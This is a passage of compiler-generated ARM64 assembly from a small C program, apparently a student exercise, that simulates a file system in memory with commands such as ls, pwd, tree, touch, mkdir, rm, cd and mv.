ldur x8, [x29, #-8]
str x8, [sp, #24]
b LBB12_5
LBB12_5: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB12_7
b LBB12_6
LBB12_6: ; in Loop: Header=BB12_5 Depth=1
mov x0, #100
bl _malloc
ldur x8, [x29, #-24]
ldrsw x9, [sp, #32]
str x0, [x8, x9, lsl #3]
ldur x8, [x29, #-24]
ldrsw x9, [sp, #32]
ldr x0, [x8, x9, lsl #3]
ldr x8, [sp, #24]
ldr x1, [x8]
mov x2, #-1
bl ___strcpy_chk
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
ldr x8, [sp, #24]
ldr x8, [x8, #8]
str x8, [sp, #24]
b LBB12_5
LBB12_7:
ldur x0, [x29, #-16]
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
mov x2, #-1
bl ___strcpy_chk
ldr w8, [sp, #32]
stur w8, [x29, #-28]
b LBB12_8
LBB12_8: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-28]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB12_10
b LBB12_9
LBB12_9: ; in Loop: Header=BB12_8 Depth=1
ldur x0, [x29, #-16]
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
mov x2, #-1
str x2, [sp, #8] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldur x0, [x29, #-16]
ldur x8, [x29, #-24]
ldursw x9, [x29, #-28]
add x8, x8, x9, lsl #3
ldur x1, [x8, #-8]
bl ___strcat_chk
ldur w8, [x29, #-28]
subs w8, w8, #1
stur w8, [x29, #-28]
b LBB12_8
LBB12_10:
stur wzr, [x29, #-28]
b LBB12_11
LBB12_11: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-28]
ldr w9, [sp, #32]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB12_14
b LBB12_12
LBB12_12: ; in Loop: Header=BB12_11 Depth=1
ldur x8, [x29, #-24]
ldursw x9, [x29, #-28]
ldr x0, [x8, x9, lsl #3]
bl _free
b LBB12_13
LBB12_13: ; in Loop: Header=BB12_11 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB12_11
LBB12_14:
ldur x0, [x29, #-24]
bl _free
ldur x0, [x29, #-16]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _stop ; -- Begin function stop
.p2align 2
_stop: ; @stop
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
b LBB13_1
LBB13_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB13_3
b LBB13_2
LBB13_2: ; in Loop: Header=BB13_1 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB13_1
LBB13_3:
add x0, sp, #8
bl _free_director
ldr x0, [sp, #8]
bl _free
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _afisare_din_tree ; -- Begin function afisare_din_tree
.p2align 2
_afisare_din_tree: ; @afisare_din_tree
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
str wzr, [sp, #16]
b LBB14_1
LBB14_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB14_4
b LBB14_2
LBB14_2: ; in Loop: Header=BB14_1 Depth=1
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
b LBB14_3
LBB14_3: ; in Loop: Header=BB14_1 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB14_1
LBB14_4:
ldur x8, [x29, #-8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _tree ; -- Begin function tree
.p2align 2
_tree: ; @tree
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
str x8, [sp, #8]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
str x8, [sp]
b LBB15_1
LBB15_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB15_3
b LBB15_2
LBB15_2: ; in Loop: Header=BB15_1 Depth=1
ldr x8, [sp, #8]
ldr x0, [x8]
ldur w1, [x29, #-12]
bl _afisare_din_tree
ldr x0, [sp, #8]
ldur w8, [x29, #-12]
add w1, w8, #1
bl _tree
ldr x8, [sp, #8]
ldr x8, [x8, #32]
str x8, [sp, #8]
b LBB15_1
LBB15_3:
b LBB15_4
LBB15_4: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB15_6
b LBB15_5
LBB15_5: ; in Loop: Header=BB15_4 Depth=1
ldr x8, [sp]
ldr x0, [x8]
ldur w1, [x29, #-12]
bl _afisare_din_tree
ldr x8, [sp]
ldr x8, [x8, #16]
str x8, [sp]
b LBB15_4
LBB15_6:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _mv_dir ; -- Begin function mv_dir
.p2align 2
_mv_dir: ; @mv_dir
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #24]
str x8, [sp, #8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #24]
ldr x0, [x8]
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x1, [x8]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB16_3
b LBB16_1
LBB16_1:
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #24]
ldr x8, [x8, #32]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB16_3
b LBB16_2
LBB16_2:
b LBB16_13
LBB16_3:
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #24]
ldr x0, [x8]
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x1, [x8]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB16_5
b LBB16_4
LBB16_4:
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #24]
ldr x8, [x8, #32]
ldur x9, [x29, #-8]
ldr x9, [x9]
str x8, [x9, #24]
b LBB16_5
LBB16_5:
b LBB16_6
LBB16_6: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB16_12
b LBB16_7
LBB16_7: ; in Loop: Header=BB16_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #32]
ldr x0, [x8]
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x1, [x8]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB16_11
b LBB16_8
LBB16_8: ; in Loop: Header=BB16_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #32]
ldr x8, [x8, #32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB16_10
b LBB16_9
LBB16_9: ; in Loop: Header=BB16_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #32]
ldr x8, [x8, #32]
ldr x9, [sp, #8]
str x8, [x9, #32]
b LBB16_10
LBB16_10: ; in Loop: Header=BB16_6 Depth=1
b LBB16_11
LBB16_11: ; in Loop: Header=BB16_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #32]
str x8, [sp, #8]
b LBB16_6
LBB16_12:
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x9, [sp, #8]
str x8, [x9, #32]
ldr x8, [sp, #16]
ldr x8, [x8]
; kill: def $x9 killed $xzr
str xzr, [x8, #32]
b LBB16_13
LBB16_13:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _mv_file ; -- Begin function mv_file
.p2align 2
_mv_file: ; @mv_file
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #16]
str x8, [sp, #8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #16]
ldr x0, [x8]
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x1, [x8]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB17_3
b LBB17_1
LBB17_1:
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #16]
ldr x8, [x8, #16]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB17_3
b LBB17_2
LBB17_2:
b LBB17_13
LBB17_3:
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #16]
ldr x0, [x8]
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x1, [x8]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB17_5
b LBB17_4
LBB17_4:
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #16]
ldr x8, [x8, #16]
ldur x9, [x29, #-8]
ldr x9, [x9]
str x8, [x9, #16]
b LBB17_5
LBB17_5:
b LBB17_6
LBB17_6: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB17_12
b LBB17_7
LBB17_7: ; in Loop: Header=BB17_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #16]
ldr x0, [x8]
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x1, [x8]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB17_11
b LBB17_8
LBB17_8: ; in Loop: Header=BB17_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #16]
ldr x8, [x8, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB17_10
b LBB17_9
LBB17_9: ; in Loop: Header=BB17_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #16]
ldr x8, [x8, #16]
ldr x9, [sp, #8]
str x8, [x9, #16]
b LBB17_10
LBB17_10: ; in Loop: Header=BB17_6 Depth=1
b LBB17_11
LBB17_11: ; in Loop: Header=BB17_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #16]
str x8, [sp, #8]
b LBB17_6
LBB17_12:
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x9, [sp, #8]
str x8, [x9, #16]
ldr x8, [sp, #16]
ldr x8, [x8]
; kill: def $x9 killed $xzr
str xzr, [x8, #16]
b LBB17_13
LBB17_13:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _mv ; -- Begin function mv
.p2align 2
_mv: ; @mv
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
stur x2, [x29, #-24]
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
stur x8, [x29, #-32]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
str x8, [sp, #40]
str wzr, [sp, #36]
str wzr, [sp, #32]
b LBB18_1
LBB18_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB18_5
b LBB18_2
LBB18_2: ; in Loop: Header=BB18_1 Depth=1
ldur x8, [x29, #-32]
ldr x0, [x8]
ldur x1, [x29, #-24]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB18_4
b LBB18_3
LBB18_3: ; in Loop: Header=BB18_1 Depth=1
mov w8, #1
str w8, [sp, #32]
b LBB18_4
LBB18_4: ; in Loop: Header=BB18_1 Depth=1
ldur x8, [x29, #-32]
ldr x8, [x8, #32]
stur x8, [x29, #-32]
b LBB18_1
LBB18_5:
b LBB18_6
LBB18_6: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #40]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB18_10
b LBB18_7
LBB18_7: ; in Loop: Header=BB18_6 Depth=1
ldr x8, [sp, #40]
ldr x0, [x8]
ldur x1, [x29, #-24]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB18_9
b LBB18_8
LBB18_8: ; in Loop: Header=BB18_6 Depth=1
mov w8, #1
str w8, [sp, #32]
b LBB18_9
LBB18_9: ; in Loop: Header=BB18_6 Depth=1
ldr x8, [sp, #40]
ldr x8, [x8, #16]
str x8, [sp, #40]
b LBB18_6
LBB18_10:
ldr w8, [sp, #32]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB18_24
b LBB18_11
LBB18_11:
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
stur x8, [x29, #-32]
b LBB18_12
LBB18_12: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB18_16
b LBB18_13
LBB18_13: ; in Loop: Header=BB18_12 Depth=1
ldur x8, [x29, #-32]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB18_15
b LBB18_14
LBB18_14: ; in Loop: Header=BB18_12 Depth=1
sub x8, x29, #32
str x8, [sp, #24] ; 8-byte Folded Spill
ldur x8, [x29, #-32]
ldr x8, [x8]
str x8, [sp, #16] ; 8-byte Folded Spill
ldur x0, [x29, #-24]
bl _strlen
mov x8, x0
ldr x0, [sp, #16] ; 8-byte Folded Reload
add x1, x8, #1
bl _realloc
ldur x8, [x29, #-32]
str x0, [x8]
ldur x8, [x29, #-32]
ldr x0, [x8]
ldur x1, [x29, #-24]
mov x2, #-1
bl ___strcpy_chk
ldr x1, [sp, #24] ; 8-byte Folded Reload
mov w8, #1
str w8, [sp, #36]
ldur x8, [x29, #-32]
add x0, x8, #8
bl _mv_dir
b LBB18_15
LBB18_15: ; in Loop: Header=BB18_12 Depth=1
ldur x8, [x29, #-32]
ldr x8, [x8, #32]
stur x8, [x29, #-32]
b LBB18_12
LBB18_16:
ldr w8, [sp, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB18_23
b LBB18_17
LBB18_17:
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
str x8, [sp, #40]
b LBB18_18
LBB18_18: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #40]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB18_22
b LBB18_19
LBB18_19: ; in Loop: Header=BB18_18 Depth=1
ldr x8, [sp, #40]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB18_21
b LBB18_20
LBB18_20: ; in Loop: Header=BB18_18 Depth=1
add x8, sp, #40
str x8, [sp, #8] ; 8-byte Folded Spill
ldr x8, [sp, #40]
ldr x8, [x8]
str x8, [sp] ; 8-byte Folded Spill
ldur x0, [x29, #-24]
bl _strlen
mov x8, x0
ldr x0, [sp] ; 8-byte Folded Reload
add x1, x8, #1
bl _realloc
ldr x8, [sp, #40]
str x0, [x8]
ldr x8, [sp, #40]
ldr x0, [x8]
ldur x1, [x29, #-24]
mov x2, #-1
bl ___strcpy_chk
ldr x1, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp, #40]
add x0, x8, #8
bl _mv_file
mov w8, #1
str w8, [sp, #36]
b LBB18_21
LBB18_21: ; in Loop: Header=BB18_18 Depth=1
ldr x8, [sp, #40]
ldr x8, [x8, #16]
str x8, [sp, #40]
b LBB18_18
LBB18_22:
b LBB18_23
LBB18_23:
b LBB18_24
LBB18_24:
ldr w8, [sp, #32]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB18_26
b LBB18_25
LBB18_25:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
b LBB18_29
LBB18_26:
ldr w8, [sp, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB18_28
b LBB18_27
LBB18_27:
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
b LBB18_28
LBB18_28:
b LBB18_29
LBB18_29:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _apelare_zero_parametrii ; -- Begin function apelare_zero_parametrii
.p2align 2
_apelare_zero_parametrii: ; @apelare_zero_parametrii
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
ldr x0, [sp, #16]
adrp x1, l_.str.12@PAGE
add x1, x1, l_.str.12@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB19_2
b LBB19_1
LBB19_1:
ldur x8, [x29, #-8]
ldr x0, [x8]
bl _ls
b LBB19_2
LBB19_2:
ldr x0, [sp, #16]
adrp x1, l_.str.13@PAGE
add x1, x1, l_.str.13@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB19_4
b LBB19_3
LBB19_3:
ldur x8, [x29, #-8]
ldr x0, [x8]
bl _stop
b LBB19_4
LBB19_4:
ldr x0, [sp, #16]
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB19_6
b LBB19_5
LBB19_5:
ldur x8, [x29, #-8]
ldr x0, [x8]
bl _pwd
str x0, [sp, #8]
ldr x8, [sp, #8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x0, [sp, #8]
bl _free
b LBB19_6
LBB19_6:
ldr x0, [sp, #16]
adrp x1, l_.str.15@PAGE
add x1, x1, l_.str.15@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB19_8
b LBB19_7
LBB19_7:
ldur x8, [x29, #-8]
ldr x0, [x8]
mov w1, #0
bl _tree
b LBB19_8
LBB19_8:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _apelare_un_parametru ; -- Begin function apelare_un_parametru
.p2align 2
_apelare_un_parametru: ; @apelare_un_parametru
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
str x2, [sp, #8]
ldr x0, [sp, #16]
adrp x1, l_.str.16@PAGE
add x1, x1, l_.str.16@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB20_2
b LBB20_1
LBB20_1:
ldur x8, [x29, #-8]
ldr x0, [x8]
ldr x1, [sp, #8]
bl _touch
b LBB20_2
LBB20_2:
ldr x0, [sp, #16]
adrp x1, l_.str.17@PAGE
add x1, x1, l_.str.17@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB20_4
b LBB20_3
LBB20_3:
ldur x8, [x29, #-8]
ldr x0, [x8]
ldr x1, [sp, #8]
bl _mkdir
b LBB20_4
LBB20_4:
ldr x0, [sp, #16]
adrp x1, l_.str.18@PAGE
add x1, x1, l_.str.18@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB20_6
b LBB20_5
LBB20_5:
ldur x8, [x29, #-8]
ldr x0, [x8]
ldr x1, [sp, #8]
bl _rm
b LBB20_6
LBB20_6:
ldr x0, [sp, #16]
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB20_8
b LBB20_7
LBB20_7:
ldur x8, [x29, #-8]
ldr x0, [x8]
ldr x1, [sp, #8]
bl _rmdir
b LBB20_8
LBB20_8:
ldr x0, [sp, #16]
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB20_10
b LBB20_9
LBB20_9:
ldur x0, [x29, #-8]
ldr x1, [sp, #8]
bl _cd
b LBB20_10
LBB20_10:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _apelare_doi_parametrii ; -- Begin function apelare_doi_parametrii
.p2align 2
_apelare_doi_parametrii: ; @apelare_doi_parametrii
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
str x2, [sp, #8]
str x3, [sp]
ldr x0, [sp, #16]
adrp x1, l_.str.21@PAGE
add x1, x1, l_.str.21@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB21_2
b LBB21_1
LBB21_1:
ldur x8, [x29, #-8]
ldr x0, [x8]
ldr x1, [sp, #8]
ldr x2, [sp]
bl _mv
b LBB21_2
LBB21_2:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _apelare ; -- Begin function apelare
.p2align 2
_apelare: ; @apelare
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
stur x2, [x29, #-24]
stur w3, [x29, #-28]
ldur x0, [x29, #-24]
bl _strlen
mov x8, x0
add w8, w8, #1
str w8, [sp, #32]
str wzr, [sp, #28]
ldur x0, [x29, #-16]
bl _strlen
mov x8, x0
str w8, [sp, #24]
ldur w8, [x29, #-28]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB22_2
b LBB22_1
LBB22_1:
ldur x0, [x29, #-8]
ldur x1, [x29, #-24]
bl _apelare_zero_parametrii
b LBB22_16
LBB22_2:
mov x0, #100
bl _malloc
str x0, [sp, #16]
b LBB22_3
LBB22_3: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #28]
ldr w9, [sp, #32]
add w8, w8, w9
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ge
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB22_5
b LBB22_4
LBB22_4: ; in Loop: Header=BB22_3 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #32]
add x8, x8, x9
ldrsw x9, [sp, #28]
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, ne
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB22_5
LBB22_5: ; in Loop: Header=BB22_3 Depth=1
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB22_7
b LBB22_6
LBB22_6: ; in Loop: Header=BB22_3 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #32]
add x8, x8, x9
ldrsw x9, [sp, #28]
add x8, x8, x9
ldrb w8, [x8]
ldr x9, [sp, #16]
ldrsw x10, [sp, #28]
add x9, x9, x10
strb w8, [x9]
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB22_3
LBB22_7:
ldr x8, [sp, #16]
ldrsw x9, [sp, #28]
add x8, x8, x9
strb wzr, [x8]
ldur w8, [x29, #-28]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB22_14
b LBB22_8
LBB22_8:
mov x0, #100
bl _malloc
str x0, [sp, #8]
ldr w8, [sp, #32]
ldr w9, [sp, #28]
add w8, w8, w9
add w8, w8, #1
str w8, [sp, #32]
str wzr, [sp, #28]
b LBB22_9
LBB22_9: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #28]
ldr w9, [sp, #32]
add w8, w8, w9
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ge
mov w9, #0
str w9, [sp] ; 4-byte Folded Spill
tbnz w8, #0, LBB22_11
b LBB22_10
LBB22_10: ; in Loop: Header=BB22_9 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #32]
add x8, x8, x9
ldrsw x9, [sp, #28]
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, ne
str w8, [sp] ; 4-byte Folded Spill
b LBB22_11
LBB22_11: ; in Loop: Header=BB22_9 Depth=1
ldr w8, [sp] ; 4-byte Folded Reload
tbz w8, #0, LBB22_13
b LBB22_12
LBB22_12: ; in Loop: Header=BB22_9 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #32]
add x8, x8, x9
ldrsw x9, [sp, #28]
add x8, x8, x9
ldrb w8, [x8]
ldr x9, [sp, #8]
ldrsw x10, [sp, #28]
add x9, x9, x10
strb w8, [x9]
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB22_9
LBB22_13:
ldr x8, [sp, #8]
ldrsw x9, [sp, #28]
add x8, x8, x9
strb wzr, [x8]
ldur x0, [x29, #-8]
ldur x1, [x29, #-24]
ldr x2, [sp, #16]
ldr x3, [sp, #8]
bl _apelare_doi_parametrii
ldr x0, [sp, #16]
bl _free
ldr x0, [sp, #8]
bl _free
b LBB22_15
LBB22_14:
ldur x0, [x29, #-8]
ldur x1, [x29, #-24]
ldr x2, [sp, #16]
bl _apelare_un_parametru
ldr x0, [sp, #16]
bl _free
b LBB22_15
LBB22_15:
b LBB22_16
LBB22_16:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
sub x0, x29, #16
adrp x1, l_.str.22@PAGE
add x1, x1, l_.str.22@PAGEOFF
mov x2, #0
bl _init_dir
mov x0, #301
bl _malloc
stur x0, [x29, #-32]
b LBB23_1
LBB23_1: ; =>This Loop Header: Depth=1
; Child Loop BB23_7 Depth 2
; Child Loop BB23_13 Depth 2
stur wzr, [x29, #-20]
stur wzr, [x29, #-24]
ldur x0, [x29, #-32]
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x2, [x8]
mov w1, #301
bl _fgets
ldur x8, [x29, #-32]
str x8, [sp, #48] ; 8-byte Folded Spill
ldur x0, [x29, #-32]
bl _strlen
ldr x8, [sp, #48] ; 8-byte Folded Reload
add x8, x8, x0
ldursb w8, [x8, #-2]
subs w8, w8, #32
cset w8, eq
tbnz w8, #0, LBB23_3
b LBB23_2
LBB23_2: ; in Loop: Header=BB23_1 Depth=1
ldur x8, [x29, #-32]
str x8, [sp, #40] ; 8-byte Folded Spill
ldur x0, [x29, #-32]
bl _strlen
ldr x8, [sp, #40] ; 8-byte Folded Reload
add x8, x8, x0
ldursb w8, [x8, #-2]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB23_4
b LBB23_3
